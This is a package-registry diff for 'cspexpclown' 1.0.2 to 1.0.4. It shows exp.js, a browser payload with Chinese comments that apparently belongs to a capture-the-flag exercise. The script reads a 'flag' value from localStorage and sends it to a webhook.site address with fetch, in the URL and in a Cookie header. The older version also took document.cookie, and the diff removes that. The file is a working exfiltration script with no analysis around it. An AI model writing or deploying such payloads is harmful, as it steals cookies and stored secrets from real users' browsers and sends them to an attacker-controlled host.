cspexpclown 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exp.js +3 -6
- package/package.json +1 -1
package/exp.js
CHANGED
@@ -2,18 +2,15 @@
|
|
2
2
|
const domain = "https://webhook.site/78bd37ea-0ee3-4993-8b97-b607846ab241"; // 指定域名
|
3
3
|
|
4
4
|
try {
|
5
|
-
// 获取当前页面的Cookie
|
6
|
-
const cookies = document.cookie;
|
7
5
|
|
8
6
|
// 获取全局变量 flag
|
9
7
|
const flag = localStorage.getItem('flag'); //因为从localStorage来set的,所以要这样获取
|
10
|
-
|
8
|
+
const encodeflag=encodeURIComponent(btoa(flag));
|
11
9
|
// 发送GET请求并带上Cookie和flag
|
12
|
-
const res = await fetch(`${domain}`, {
|
10
|
+
const res = await fetch(`${domain}+?flag=${flag}`, {
|
13
11
|
method: "GET",
|
14
12
|
headers: {
|
15
|
-
"Cookie":
|
16
|
-
"X-Flag": flag // 将 flag 添加到请求头中
|
13
|
+
"Cookie": flag // 将 flag 添加到请求头中,呃呃带不出来
|
17
14
|
},
|
18
15
|
credentials: 'include' // 带上Cookie
|
19
16
|
});
|